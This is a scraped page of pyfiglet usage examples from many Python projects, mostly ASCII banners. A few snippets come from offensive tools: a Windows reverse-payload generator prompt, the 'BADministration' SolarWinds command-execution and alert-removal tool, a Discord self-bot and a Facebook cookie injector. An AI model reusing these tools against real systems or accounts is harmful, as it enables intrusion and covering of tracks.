コード例 #1
1
ファイル: oauth.py プロジェクト: JensErat/ssh-facebookauth
def user_greeting(pamh, user_info):
  from pyfiglet import Figlet
  f = Figlet(font='letter')
  banner = f.renderText('Hi %s!' % user_info['first_name'])

  pamh.conversation(pamh.Message(pamh.PAM_TEXT_INFO, str("""

-------------------------------------------------------------------

%s

(c) 2015-04-01 Jens Erat <*****@*****.**>, MIT license
Code on GitHub: https://github.com/JensErat/ssh-facebookauth
-------------------------------------------------------------------
""" % banner)))
コード例 #2
0
ファイル: vhost.py プロジェクト: lamjack/useful-script
def printTitle():
    # 腳本頭部
    script_name = "NGINX vhost tools"
    f = Figlet()
    print f.renderText(script_name)
    print "Author: JackLam([email protected])"
    print ("-"*80)[:80]
コード例 #3
0
ファイル: welcome.py プロジェクト: rclarkburns/lunch
def lunch_text():
    _version = pkg_resources.require("lunch")[0].version
    f = Figlet(font='smkeyboard')

    print f.renderText('LUNCH')
    print 'Lunch doesn\'t really do much of anything.'
    print 'Version ' + _version
    print 'Run lunch --help for a lacking list of arguments.'
コード例 #4
0
ファイル: desktop.py プロジェクト: darthmars97/hacker
    def hack(self):
        os.system("cls")
        h = Figlet(font="cybermedium")
        print h.renderText("Hacker Routine")

        target = raw_input("Select a target: ").lower()

        routine = Routine(target)
        time.sleep(0.7)
        routine.main()
        print ""
コード例 #5
0
 def run(self):
     msg = 'Initializing framework v' + str(__version__)
     print '[+]', msg
     self.log.info(msg)
     f = Figlet(font='doom')
     print f.renderText('Framework')
     self.log.debug('System ' + sys.platform)
     self.log.debug('Version ' + sys.version)
     if not os.path.exists(self.output):
         os.makedirs(self.output)
     self._list_files()
     self._run_plugins()
コード例 #6
0
ファイル: scripts.py プロジェクト: eqyiel/comp3781
def crypto_1():
    f = Figlet(font='slant')
    print(f.renderText("Standard Galactic Alphabet"))
    wrap_input("""Crypto 1 - Standard Galactic Alphabet""")
    wrap_input("""NOTE: you may have to adjust the HOST and PORT in the script
that is about to be run if you are not using the default.""")
    wrap_shell_command(["./crypto_01.py", "cat *"])
コード例 #7
0
ファイル: weefig.py プロジェクト: emmettu/weefig
def set_text_font(text, font):
    try:
        figlet = Figlet(font=font)
    except:
        print('weefig: no such font: %s' % (font))
        return ""
    return figlet.renderText(text)
コード例 #8
0
ファイル: utilities.py プロジェクト: jjohnhhartley/gprMax
def logo(version):
    """Print gprMax logo, version, and licencing/copyright information.
        
    Args:
        version (str): Version number.
    """
    
    licenseinfo = """
Copyright (C) 2015: The University of Edinburgh
           Authors: Craig Warren and Antonis Giannopoulos
        
gprMax is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
                    
gprMax is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.
                                    
You should have received a copy of the GNU General Public License
along with gprMax.  If not, see <http://www.gnu.org/licenses/>."""
    width = 65
    url = 'www.gprmax.com'
    print('\n{} {} {}'.format('*'*round((width - len(url))/2), url, '*'*round((width - len(url))/2)))
    gprMaxlogo = Figlet(font='standard', width=width, justify='center')
    print('{}'.format(gprMaxlogo.renderText('gprMax')))
    print('{} v{} {}'.format('*'*round((width - len(version))/2), (version), '*'*round((width - len(version))/2)))
    print(licenseinfo)
    print('\n{}\n'.format('*'*(width+3)))
コード例 #9
0
ファイル: codeart.py プロジェクト: wendyltan/localpractice
def inputAndTransform():
    dirPath =  os.curdir
    write = input("What do you want to write? Please input here:\n")
    f = Figlet(font='ogre') # 斜体 不slant是默认的字体 是不倾斜的
    textWrite = "```\n"+f.renderText(write)+"\n```"
    with open("codepic.txt", "w") as f:
        f.writelines(textWrite)
コード例 #10
0
ファイル: footman.py プロジェクト: maxvitek/footman
def header():
    subprocess.call(['clear'])
    f = Figlet(font='slant')
    print('')
    print(colored(f.renderText(COMMAND_KEYWORD), 'red', attrs=['bold']))
    print('')
    print('')
コード例 #11
0
ファイル: figlet.py プロジェクト: gordonzola/naobot
 def on_cmd(self, serv, ev, command, args, helper):
     u'''%(namespace)s <text> : écrit le texte donné en figlet. Ne gère que
     les caractères ASCII.'''
     f = Figlet()
     args.insert(0, command)
     message = ' '.join(args)
     figlet_msg = {}
     figlet_width = 0
     for c in message:
         figlet_c = f.renderText(c).split('\n')
         added_width = max(len(fc) for fc in figlet_c)
         # adding this character will make a too long line
         if figlet_width + added_width > self.width:
             # flush figlet message
             self.privfigletmsg(serv, helper['target'], figlet_msg)
             figlet_msg = {}
             figlet_width = 0
         # adding the character
         l = 0
         for fc in figlet_c:
             figlet_msg[l] = figlet_msg.get(l, '') + fc
             l += 1
         figlet_width += added_width
     # flush figlet message
     self.privfigletmsg(serv, helper['target'], figlet_msg)
コード例 #12
0
ファイル: utils.py プロジェクト: scholer/labfluence
def figlet_header(text, font='colossal', smushMode=None):
    """
    Prints text with ascii print driver.
    See available fonts with Figlet().getFonts()
    or pyfiglet.FigletFont.getFonts()
    Easy-to-read fonts include:
    * Doh       (very big)
    * Banner3   (Exclusively using '#')
    * Block     (rather subtil)
    * Colossal  (Easy to read, but set smushMode to 64 or lower for headers)
    * Georgia11 (Very elegant)
    * Roman
    * Univers
    """
    if Figlet is None:
        logger.warning("pyfiglet module not available.")
        return
    ## TODO: Add labfluence settings option to change font, etc.
    f = Figlet(font=font)
    if smushMode is not None:
        # pyfiglet default smushMode is calculated by pyfiglet.FigletFont.loadFont()
        # For some, e.g. colossal, the resulting smushMode of 128 smushes the characters a bit too much.
        # I've made a fork of pyfiglet where you can adjust smushMode directly
        # when instantiating a Figlet via argument fontkwargs.
        f.Font.smushMode = smushMode
    return f.renderText(text)
コード例 #13
0
ファイル: scripts.py プロジェクト: eqyiel/comp3781
def crypto_2():
    f = Figlet(font='slant')
    print(f.renderText("Compression Session"))
    wrap_input("""Crypto 2 - Compression Session""")
    wrap_input("""NOTE: you may have to adjust the HOST and PORT in the script
that is about to be run if you are not using the default.""")
    wrap_shell_command(["./crypto_02.py"])
コード例 #14
0
ファイル: trainer.py プロジェクト: jbwincek/Llat
def ascii_title():
    with term.location(0, 0):
        title_text = "Last  Layer  Algorithm  Trainer"
        f = Figlet(font="small", width=term.width)
        print(term.white(f.renderText(title_text)))
    with term.location(0, 5):
        print("─" * term.width)
    print(term.move_y(6))
コード例 #15
0
ファイル: console_app.py プロジェクト: sshipsey/ktane-py
class ConsoleApp(CommandLineMixins):
    def __init__(self):
        self.ascii = Figlet(font='standard')
        self.modules = self.__get_module_dict()

    def start(self):
        while True:
            print(self.ascii.renderText('KTANE SOLVER'))
            choice = self.get_choice_or_quit(list(self.modules.keys()))
            if choice is None:
                break
            self.cls()
            print(self.ascii.renderText(choice))
            self.modules[choice].run()
            self.cls()

    def __get_module_dict(self):
        return { titleize(klass.__name__): klass() for klass in Module.__subclasses__() }
コード例 #16
0
ファイル: main.py プロジェクト: tarrant/funtext
def textApi(text=None):
    user_requested_font = request.args.get('font')
    font = getFont(user_requested_font)

    text = text or "Send us text!"
    fig = Figlet(font=font)
    ansi = fig.renderText(text)

    return format_request(ansi)
コード例 #17
0
ファイル: twent.py プロジェクト: bobbybabra/twent
def time_now():
  '''
  Return current time in Figlet format.
  '''
  time_heading = '===============Time===============\n'
  now = datetime.datetime.now().strftime("%H:%M")
  f = Figlet(font='doom')
  time_details = f.renderText(now).rstrip() + '\n'
  return (time_heading + time_details).decode('utf-8')
コード例 #18
0
ファイル: gatewayMain.py プロジェクト: Sevcol/IOgateway
 def startupMessage(self):
     '''
     Spiffy looking startup banner.'
     '''
     figlet = Figlet(font='slant')
     for line in figlet.renderText('sevcol IO\ngateway').splitlines():
         self.log.info(line)
     
     self.log.info('Version %s' % VERSION)
コード例 #19
0
ファイル: ascii.py プロジェクト: wiiaam/spaghooter
def banner(phenny, input):
	if len(input.group(2)) > 70:
		phenny.reply("pls... 2long4me")
		return

	bannedfonts = [
		"acrobatic",
		"calgphy",
		"calgphy2",
		"doh",
		"poison",
		"univers",
		"term",
		"hollywood",
		"dotmatrix"
	]

	inputArray = input.group(2).split(', ')

	if inputArray[0][0] == "":
		text = inputArray[0][2:]
	else:
		text = inputArray[0]

	if len(inputArray) > 1:
		if inputArray[1] in bannedfonts:
			phenny.say("ayy m80 %s is a banned font k?" % inputArray[1])
			return

		try:
			f = Figlet(font=inputArray[1])
			shit = f.renderText(text).split('\n')
		except:
			phenny.say("there's no font called %s" % inputArray[1])
			return
	else:
		f = Figlet(font="twopoint")
		shit = f.renderText(text).split('\n')

	for i in xrange(0,len(shit)):
		if inputArray[0][0] == "":
			phenny.say("" + inputArray[0][1] + shit[i])
		else:
			phenny.say(shit[i])
コード例 #20
0
ファイル: mtg.py プロジェクト: momijiame/wehatemtg
class DecoratedCostsScreen(CostsScreen):

    def __init__(self, integrator, font='big'):
        super(CostsScreen, self).__init__()
        self.integrator = integrator
        self.fighler = Figlet(font=font)

    def show(self):
        data = super(DecoratedCostsScreen, self).show()
        return self.fighler.renderText(data)
コード例 #21
0
ファイル: allPythonContent.py プロジェクト: Mondego/pyreco
def main():
    parser = OptionParser(version=__version__)

    parser.add_option('-s', '--show', action='store_true', default=False,
                      help='pause at each failure and compare output '
                           '(default: %default)')

    opts, args = parser.parse_args()

    f = Figlet()

    ok = 0
    fail = 0
    failed = []
    skip = ['runic'] # known bug..

    for font in f.getFonts():
        if font in skip: continue

        f.setFont(font=font)

        outputPyfiglet = f.renderText('foo')

        fontpath = os.path.join('pyfiglet', 'fonts', font)
        if os.path.isfile(fontpath + '.flf'):
            cmd = ('figlet', '-d', 'pyfiglet/fonts', '-f', font, 'foo')
        elif os.path.isfile(fontpath + '.tlf'):
            cmd = ('toilet', '-d', 'pyfiglet/fonts', '-f', font, 'foo')
        else:
            raise Exception('Missing font file: '+fontpath)

        p = Popen(cmd, bufsize=1,stdout=PIPE)
        outputFiglet = p.communicate()[0].decode('ascii', 'replace')

        if outputPyfiglet == outputFiglet:
            print('[OK] %s' % font)
            ok += 1
            continue

        print('[FAIL] %s' % font)
        fail += 1
        failed.append(font)

        if opts.show is True:
            print('[PYTHON] *** %s\n\n' % font)
            dump(outputPyfiglet)
            print('[FIGLET] *** %s\n\n' % font)
            dump(outputFiglet)
            raw_input()

    print('OK = %d, FAIL = %d' % (ok, fail))
    if len(failed) > 0:
        print('FAILED = %s' % repr(failed))

    return 0
コード例 #22
0
ファイル: other_utils.py プロジェクト: scholer/Mediawiker
def get_figlet_text(text):
    """ Returns a big "ascii art"-like text spelling the words in text. """
    font = 'colossal' # This is case *sensitive* (on *nix and if pyfiglet is zipped).
    try:
        printer = Figlet(font)
    except NameError:
        print("ERROR, could not import pyfiglet, big text not available.")
        print("sys.path=", sys.path)
        return text
    printer.Font.smushMode = 64
    return printer.renderText(text)
コード例 #23
0
ファイル: FBTools.py プロジェクト: vdedyukhin/FBTools
 def greeting(self):
     try:
         data = self.driver.find_element_by_xpath("//*[contains(text(), 'Logout')]")
         f = Figlet(font="slant")
         self.name = re.search("\((.*?)\)", data.text).group(
             1
         )  # Extracts username from 'Logout (username)' fetched from the page.
         print(f.renderText(self.name))
         self.name = self.name.lower()
     except NoSuchElementException:
         pass
コード例 #24
0
ファイル: screens.py プロジェクト: tzp-software/ten-thousand
def print_rolled(dice):
    holds = [' {} ']*len(dice)
    for d in range(len(dice)):
        if is_held(dice[d]):
            holds[d] = holds[d].format('held')
    f = Figlet(font='future_8')
    dies = f.renderText(' '.join(map(str,dice)))
    labels = ('  ({})  ' + '   ')*len(dice)
    hint = get_choice(dice)
    score = score_dice(hint)
    clear()
    print rolled.format(labels.format(*range(1,len(dice)+1)),dies,holds,hint,score)
コード例 #25
0
ファイル: views.py プロジェクト: geoffclapp/portfolio
def pyfiglet_banner(request, pyfiglet_banner_variable="pyfiglet"):
    if request.method == 'POST':
        form = PyfigletForm(request.POST)
        if form.is_valid():
            f = Figlet()
            pyfiglet_field = form.cleaned_data['pyfiglet_field']
            pyfiglet_banner_variable = pyfiglet_field
            # here pyfiglet_input is called from pyfiglet_banner/views.py
            a_banner = f.renderText(pyfiglet_banner_variable)
            context = {"a_banner": a_banner, "form": form}
            return HttpResponseRedirect(pyfiglet_banner_variable, context)
        else:
            form = PyfigletForm()
            f = Figlet()
            a_banner = f.renderText(pyfiglet_banner_variable)
            context = {"a_banner": a_banner, "form": form}
            return render(request, 'pyfiglet_banner/pyfiglet_banner.html', context)

    else:
        form = PyfigletForm()
        f = Figlet()
        a_banner = f.renderText(pyfiglet_banner_variable)
        context = {"a_banner": a_banner, "form": form}
        return render(request, 'pyfiglet_banner/pyfiglet_banner.html', context)
コード例 #26
0
ファイル: scripts.py プロジェクト: eqyiel/comp3781
def network_2():
    f = Figlet(font='slant')
    shutil.copyfile("../data/c18493dcc4281aef5d3c4b24d674d8e3-net02.pcap",
                    "c18493dcc4281aef5d3c4b24d674d8e3-net02.pcap")
    shutil.copyfile("../data/diskimage.gz", "diskimage.gz")
    print(f.renderText("Notwork Forensics"))
    wrap_input("""Network Forensics 2 - Notwork Forensics""")
    wrap_input("""First open the .pcap file in Wireshark and extract
diskimage.gz.  I'll wait here.""")
    wrap_input("""Ready?  OK.  First gunzip the file.""")
    wrap_shell_command(["gunzip", "diskimage.gz"])
    wrap_input("""Now use mmls to look at the partition table.""")
    wrap_shell_command(["mmls", "diskimage"])
    wrap_input("""So we've got an NTFS partition at sector 128.  Try to see what
we can recover from this.""")
    wrap_shell_command(["tsk_recover", "-e", "-o 128", "diskimage", "."])
    wrap_shell_command(["ls", "-lha"])
    wrap_input("""You can learn a lot from what people throw away.""")
    wrap_shell_command(["ls", "-Ra", "$RECYCLE.BIN"])
    wrap_input("""Sure enough:""")
    wrap_shell_command(["cat", "$RECYCLE.BIN/S-1-5-21-2229788878-2747424913-2242611199-1000/$ISH2ZGB.txt"])
    print()
    wrap_input("""That file looks interesting, but it's not in the files
directory:""")
    wrap_shell_command(["ls", "-a", "./files/My Secret Passwords.txt"])
    wrap_input("""There are a bunch of interesting files called secret* though:""")
    wrap_shell_command(["ls ./files/secret*"], shell=True)
    wrap_input("""secret.db is junk and secret.png is a red herring:""")
    wrap_shell_command(["eog", "files/secret.png"])
    wrap_input("""secret.7z is encrypted:""")
    wrap_shell_command(["7z", "x", "files/secret.7z"])
    wrap_input("""There hints about NTFS storing small and large files
differently in the root directory.""")
    wrap_shell_command(["grep -C 5 \"small value\" NTFS\ -\ SleuthKitWiki.htm"],
                       shell=True)
    wrap_input("""Apparently small files are stored directly in the MFT.  We
know the partition offset (128) from before, so use icat to extract it:""")
    wrap_shell_command(["icat -o 128 diskimage 0 > mft.dat"], shell=True)
    wrap_input("""Now look for interesting strings:""")
    wrap_shell_command(["strings mft.dat --bytes 6 | tail"], shell=True)
    wrap_input("""That looks a lot like a list of passwords.  Try the one
labelled \"7z file\":""")
    wrap_shell_command(["7z x -y ./files/secret.7z -p'nRkmrtp2(\"u8~/ph'"],
                       shell=True)
    wrap_shell_command(["cat", "secret.txt"])
    print()
    wrap_input("""And we're done!""")
コード例 #27
0
ファイル: ascii.py プロジェクト: docmeth02/rewired-bot
    def run(self, *args):
        """!ascii: Usage: !ascii (_FontName_) Your Text / !ascii ?Fonts
        Posts custom ascii text art into chat.
        ?Fonts will send you a list of fonts via pm.
        Use custom fonts like this: !ascii _starwars_ Woooo Ascii Art!
        ___"""
        font = 'slant'
        try:
            chatid = int(args[1][0])
        except:
            print "FAILED"
            return 0
        try:
            if args[0].upper() == "?FONTS":
                f = Figlet(font)
                fontlist = "Available fonts:\n"
                fontlist += formatList(f.getFonts())
                self.parent.librewired.sendPrivateMsg(int(args[1][1]), fontlist)
                return 0
        except:
            return "Usage: !ascii (%FontName%) Text / !ascii ?Fonts"

        param = regmatch(args[0], '_')
        if param:
            font = param
            text = regexclude(args[0], '_')
            if not text:
                return 0
        else:
            text = args[0]

        if not len(text):
            return "Usage: !ascii (%FontName%) Text / !ascii ?Fonts"
        asciitext = 0
        try:
            f = Figlet(font)
            asciitext = f.renderText(text)
        except FontNotFound:
            return "Unknown font: " + str(font)
        if asciitext:
            lines = asciitext.split('\n')
            sswired = chr(31).join(lines)
            for aline in lines:
                if len(aline.strip()):
                    self.parent.librewired.sendChat(chatid, chr(14) + aline)
            self.parent.librewired.sendChat(chatid, chr(129) + sswired)
        return 0
コード例 #28
0
ファイル: termdown.py プロジェクト: darnyte/termdown
def stopwatch(stdscr, font=DEFAULT_FONT, quit_after=None, **kwargs):
    curses_setup()
    f = Figlet(font=font)

    sync_start = datetime.now()
    seconds_elapsed = 0
    while quit_after is None or seconds_elapsed < int(quit_after):
        stdscr.erase()
        draw_text(
            stdscr,
            f.renderText(format_seconds(seconds_elapsed)),
        )
        sleep_target = sync_start + timedelta(seconds=seconds_elapsed + 1)
        now = datetime.now()
        if sleep_target > now:
            sleep((sleep_target - now).total_seconds())
        seconds_elapsed = int((datetime.now() - sync_start).total_seconds())
コード例 #29
0
ファイル: FBTools.py プロジェクト: vdedyukhin/FBTools
def main():

    tool = FBTools()
    f = Figlet(font="slant")
    print(f.renderText("FBTools\n------"))

    if tool.loginChecker() == True:
        print("Attempting Login...")
        tool.cookieInjector()
    else:
        tool.login()

    if tool.loginChecker() == True:
        tool.greeting()
        tool.commandInput()
    else:
        sys.exit("Can't proceed.")
コード例 #30
0
ファイル: pyboard.py プロジェクト: alej0varas/pybolator
 def text(self, text, x, y, colour):
     sys.stderr.write("LCD:text %s %sx%s %s\n" % (text, x, y, colour))
     font = 'clr8x8'
     figlet = Figlet(font=font, width=self._x)
     txt = figlet.renderText(text)
     dx = 0
     dy = 0
     for item in txt:
         if item == ' ':
             color = int(not bool(colour))
         elif item == '#':
             color = colour
         elif item == '\n':
             dy += 1
             dx = 0
             continue
         self.pixel(dx + x, dy + y, color)
         dx += 1
コード例 #31
0
ファイル: format.py プロジェクト: garlicdevs/rpn-calculator
class Print(object):
    def __init__(self):
        self.colors = {
            'black': Fore.BLACK,
            'red': Fore.RED,
            'green': Fore.GREEN,
            'yellow': Fore.YELLOW,
            'blue': Fore.BLUE,
            'magenta': Fore.MAGENTA,
            'cyan': Fore.CYAN,
            'white': Fore.WHITE,
        }
        self.reset = Fore.RESET
        self.bg_colors = {
            'black': Back.BLACK,
            'red': Back.RED,
            'green': Back.GREEN,
            'yellow': Back.YELLOW,
            'blue': Back.BLUE,
            'magenta': Back.MAGENTA,
            'cyan': Back.CYAN,
            'white': Back.WHITE,
        }
        self.limit = 10
        self.precision = 10
        self.mode = 'dec'
        self.display = 'horizontal'
        self.fig = Figlet()
        self.theme = 1

    def toggle_theme(self):
        if self.theme == 0:
            self.theme = 1
        else:
            self.theme = 0

    def toggle_display(self):
        if self.display == 'horizontal':
            self.display = 'vertical'
        else:
            self.display = 'horizontal'

    def welcome(self):
        if self.theme:
            print(self.colors['yellow'])
        print(self.fig.renderText('RPN CALCULATOR'))
        print('Author: Duy Nguyen')
        print('Email: [email protected]\n\n')
        if self.theme:
            print('Type' + self.colors['cyan'] + ' help ' +
                  self.colors['yellow'] + 'for a list of commands ..')
        else:
            print('Type help for a list of commands ..')

    def help(self):
        messages = {
            'Arithmetic Operators': [
                RpnTokens.ADD,
                RpnTokens.SUBTRACT,
                RpnTokens.MULTIPLY,
                RpnTokens.DIVIDE,
                RpnTokens.CLEAR_ALL,
                RpnTokens.CLEAR_STACK,
                RpnTokens.CLEAR_VAR,
                RpnTokens.MODULUS,
                RpnTokens.INCREMENT,
                RpnTokens.DECREMENT,
            ],
            'Bitwise Operators': [
                RpnTokens.BIT_AND,
                RpnTokens.BIT_OR,
                RpnTokens.BIT_XOR,
                RpnTokens.BIT_NOT,
                RpnTokens.BIT_SHIFT_LEFT,
                RpnTokens.BIT_SHIFT_RIGHT,
            ],
            'Boolean Operators': [
                RpnTokens.BOOLEAN_NOT,
                RpnTokens.BOOLEAN_AND,
                RpnTokens.BOOLEAN_OR,
                RpnTokens.BOOLEAN_XOR,
            ],
            'Comparison Operators': [
                RpnTokens.NOT_EQUAL,
                RpnTokens.LESS_THAN,
                RpnTokens.LESS_THAN_OR_EQUAL,
                RpnTokens.EQUAL,
                RpnTokens.GREATER_THAN,
                RpnTokens.GREATER_THAN_OR_EQUAL,
            ],
            'Trigonometric Functions': [
                RpnTokens.ACOS,
                RpnTokens.ASIN,
                RpnTokens.ATAN,
                RpnTokens.COS,
                RpnTokens.COSH,
                RpnTokens.SIN,
                RpnTokens.SINH,
                RpnTokens.TANH,
            ],
            'Numeric Utilities': [
                RpnTokens.CEIL,
                RpnTokens.FLOOR,
                RpnTokens.ROUND,
                RpnTokens.IP,
                RpnTokens.FP,
                RpnTokens.SIGN,
                RpnTokens.ABS,
                RpnTokens.MAX,
                RpnTokens.MIN,
            ],
            'Display Modes': [
                RpnTokens.HEX,
                RpnTokens.DEC,
                RpnTokens.BIN,
                RpnTokens.OCT,
            ],
            'Constants': [
                RpnTokens.E,
                RpnTokens.PI,
                RpnTokens.RAND,
            ],
            'Mathematics Functions': [
                RpnTokens.EXP,
                RpnTokens.FACT,
                RpnTokens.SQRT,
                RpnTokens.LN,
                RpnTokens.LOG,
                RpnTokens.POW,
            ],
            'Networking': [
                RpnTokens.HNL,
                RpnTokens.HNS,
                RpnTokens.NHL,
                RpnTokens.NHS,
            ],
            'Stack Manipulation': [
                RpnTokens.PICK,
                RpnTokens.REPEAT,
                RpnTokens.DEPTH,
                RpnTokens.DROP,
                RpnTokens.DROPN,
                RpnTokens.DUP,
                RpnTokens.DUPN,
                RpnTokens.ROLL,
                RpnTokens.ROLLD,
                RpnTokens.STACK,
                RpnTokens.SWAP,
            ],
            'Macros and Variables': [
                RpnTokens.MACRO,
                RpnTokens.X_EQUAL,
            ],
            'Others': [
                RpnTokens.HELP, RpnTokens.EXIT, RpnTokens.LIMIT,
                RpnTokens.PREC, RpnTokens.THEME
            ],
        }
        index = 1
        for cat in messages:
            df = pd.DataFrame(messages[cat],
                              columns=['Command', 'Description'])
            if self.theme:
                print(self.colors['yellow'])
            print('{}. {}'.format(index, cat.upper()))
            print(
                tabulate(df,
                         showindex=False,
                         tablefmt='rst',
                         headers=['Command', 'Description']))
            index += 1

    def change_mode(self, mode, stack, variables):
        if mode != self.mode:
            if mode == 'hex' or mode == 'bin' or mode == 'oct':
                while True:
                    if self.theme:
                        print(
                            self.colors['yellow'],
                            'This mode can only work with integers, '
                            'decimal numbers will be rounded, are you sure? (Yes|No): ',
                            end='')
                    else:
                        print(
                            'This mode can only work with integers, '
                            'decimal numbers will be rounded, are you sure? (Yes|No): ',
                            end='')
                    r = str(input()).lower()
                    if r == 'y' or r == 'yes':
                        self.mode = mode
                        for i in range(len(stack)):
                            stack[i] = int(round(stack[i]))
                        for i in range(len(variables)):
                            variables[i] = int(round(variables[i]))
                        return
                    elif r == 'n' or r == 'no':
                        return
            else:
                self.mode = mode

    def wait(self, stack, variables):
        f = '{:.' + str(self.precision) + 'g}'
        var_str = []
        if len(variables) > 0:
            for v in variables:
                if self.mode == 'hex':
                    s = int(round(variables[v]))
                    w = v + ' = ' + hex(s).rstrip("L")
                    var_str.append(w)
                elif self.mode == 'oct':
                    s = int(round(variables[v]))
                    w = v + ' = ' + oct(s).rstrip("L")
                    var_str.append(w)
                elif self.mode == 'bin':
                    s = int(round(variables[v]))
                    w = v + ' = ' + bin(s).rstrip("L")
                    var_str.append(w)
                else:
                    if isinstance(variables[v], float):
                        var_str.append(v + ' = ' + f.format(variables[v]))
                    else:
                        var_str.append(v + ' = ' + str(variables[v]))
        var_str = '\n'.join(var_str)
        if len(var_str) == 0:
            var_str = ''
        else:
            var_str = '\n' + var_str + '\n'
        stack_str = []
        for s in stack:
            if self.mode == 'hex':
                s = int(round(s))
                stack_str.append(hex(s).rstrip("L"))
            elif self.mode == 'oct':
                s = int(round(s))
                stack_str.append(oct(s).rstrip("L"))
            elif self.mode == 'bin':
                s = int(round(s))
                stack_str.append(bin(s).rstrip("L"))
            else:
                if isinstance(s, float):
                    stack_str.append(f.format(s))
                else:
                    stack_str.append(str(s))
        if self.display == 'vertical':
            for i in range(len(stack_str)):
                stack_str[i] = stack_str[i] + '\n'
        if self.limit >= len(stack) > 0:
            if self.display == 'vertical':
                str_ = ' '.join(stack_str)
                str_ = '\n ' + str_
            else:
                str_ = ' '.join(stack_str)
        elif len(stack) == 0:
            str_ = ''
        else:
            if self.display == 'vertical':
                str_ = '..\n' + ' '.join(stack_str[-self.limit:])
            else:
                str_ = '.. ' + ' '.join(stack_str[-self.limit:])
        if self.theme:
            if var_str != '':
                print(self.colors['cyan'] + '[',
                      self.colors['red'] + str_,
                      self.colors['cyan'] + ']',
                      self.colors['red'] + var_str,
                      self.colors['yellow'] + '>',
                      self.reset,
                      end='')
            else:
                print(self.colors['cyan'] + '[',
                      self.colors['red'] + str_,
                      self.colors['cyan'] + ']',
                      self.colors['yellow'] + '>',
                      self.reset,
                      end='')
        else:
            if var_str != '':
                print('[', str_, ']', var_str, '> ', end='')
            else:
                print('[', str_, ']', '> ', end='')

    def error(self, error):
        errors = error.split(' ')
        if self.theme:
            print(self.colors['red'] + '(*) ' + errors[0] + self.reset,
                  self.colors['yellow'] + ' '.join(errors[1:]))
        else:
            print('(*) ' + errors[0] + self.reset, ' '.join(errors[1:]))

    def bye(self):
        if self.theme:
            print(self.colors['green'], 'Bye')
        else:
            print('Bye')
コード例 #32
0
ファイル: pretty.py プロジェクト: khuyentran1401/pretty-text
def pretty_text(text: str, font: str, color: str):
    f = Figlet(font=font)
    print(colored(f.renderText(text), color))
コード例 #33
0
import sys
import getpass
import subprocess
from pyfiglet import Figlet
from termcolor import colored

# Will create a directory "Payload" adjacent to the script

dir1 = "Payload/"
if not os.path.exists(dir1):
    os.makedirs(dir1)

output_file_path = os.getcwd() + "/" + dir1

font1 = Figlet(font='digital')
print font1.renderText("Payload generation for Windows")

# Provide Local host IP and Local Port (Attacker's IP & Port)

sys_password = getpass.getpass()
ip_adress = raw_input("Enter Listener IP Address: ")
port_no = raw_input("Enter Listener Port number: ")
file_name = raw_input("Enter the filename: ")

# Provide the desired extension which can used for the attack
print colored(
    "Payload Extensions:\nasp, aspx, aspx-exe, dll, elf, elf-so, exe, \nexe-only, exe-service, exe-small, hta-psh, \nloop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, \npsh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war",
    'yellow')

payload_format = raw_input("Enter Payload Format: ")
コード例 #34
0
from web3.auto import Web3
from web3 import IPCProvider
from web3.middleware import geth_poa_middleware
from pyfiglet import Figlet

### CONFIG #####################################################################

ipcMiddleware = {
    "MainNet": "/home/quadrans/.quadrans/geth.ipc",
    "TestNet": "/home/quadrans/.quadrans/testnet/geth.ipc"
}
custom_fig = Figlet(font='standard')

### MAIN #######################################################################

print(custom_fig.renderText('Quadrans Node'))

try:
    for net, ipc in ipcMiddleware.items():
        web3 = Web3(IPCProvider(ipc))
        if web3.isConnected():
            print("Provider:\t\tIPC (" + net + ": " + ipc + ")")
            break
    if not web3.isConnected():
        sys.exit()
except SystemExit:
    print("Could not connect to node via providers")
    sys.exit()
except:
    print("Critical error connectiong to node")
    sys.exit()
コード例 #35
0
                    primaryKeyCol == result[primaryKeyColName])
                update_rec = update_rec.values(data)
                session.execute(update_rec)

    session.commit()
    session.close()

    sys.stdout.write("%d%% - Finished.\n" % (count * 100 / table_count))
    sys.stdout.flush()


if __name__ == '__main__':

    try:
        f = Figlet(font='cybermedium')
        print(f.renderText('Zawgyi To Unicode Database Converter Tool.\n'))
        print('Please select database type: \n')
        print('[1]: Postgresql\n')
        print('[2]:  Mysql\n')

        def choose_db():
            url_preix = raw_input("Select Database: ")
            try:
                if int(url_preix) not in [1, 2]:
                    return choose_db()
                return int(url_preix)
            except Exception as ex:
                return choose_db()

        db_type = choose_db()
        db_name = raw_input("Database name: ")
コード例 #36
0
        else:
            print(f"Empty set ({query_time})")


if __name__ == '__main__':

    migrator = MySQLtoMongo(mysql_id="ID",
                            mysql_pw="PW",
                            mysql_db_name="db_name",
                            mongo_id="ID",
                            mongo_pw="PW",
                            mongo_db_name="db_name")

    f = Figlet(font="slant")
    print(f.renderText("Hwan Ii"))
    print(f.renderText("Young Ki"))

    print("Welcome to Hwan Young Il Ki's RDB to MongoDB Migrator :)")

    while True:
        print(
            "\n[i] Init MYSQL to MongoDB\t[1 ~ 5] Query 1 ~ 5 [c] Change Print Mode\t[Q] Quit\nPress to continue..."
        )
        user_input = str(__import__('sys').stdin.readline())[:1]

        if user_input == 'q':
            print("Bye!")
            break

        elif user_input == '1':
コード例 #37
0
              is_flag=True,
              help="Disable santiy checks, very risky")
@click.option('-lp',
              '--librarypath',
              option='module',
              value=["solarwinds-wmibomb"],
              cls=OptionRequiredIf,
              help="Placeholder")
@click.option('-sp',
              '--scriptpath',
              option='module',
              value=["solarwinds-wmibomb"],
              cls=OptionRequiredIf,
              help="Placeholder")
def main(verbose, module, username, password, target, command, disablechecks,
         librarypath, scriptpath):
    click.echo()
    if module == "solarwinds-enum":
        sw_enumerate(target, username, password, verbose)
    if module == "solarwinds-alertremove":
        sw_system_cleanup(target, username, password, verbose)
    if module == "solarwinds-listalerts":
        sw_list_alerts(target, username, password, verbose)
    elif module == "solarwinds-syscmd":
        sw_system_shell(target, username, password, command, verbose)


if __name__ == "__main__":
    fig = Figlet(font='standard')
    print(fig.renderText('BADministration'))
    main()
コード例 #38
0
from colorama import Fore, init
from selenium import webdriver
from datetime import datetime
from itertools import cycle

os.system('mode 80, 40')

init(convert=True)
clear = lambda: os.system('clear')
clear()

bot = commands.Bot(command_prefix='-', self_bot=True)
bot.remove_command("help")

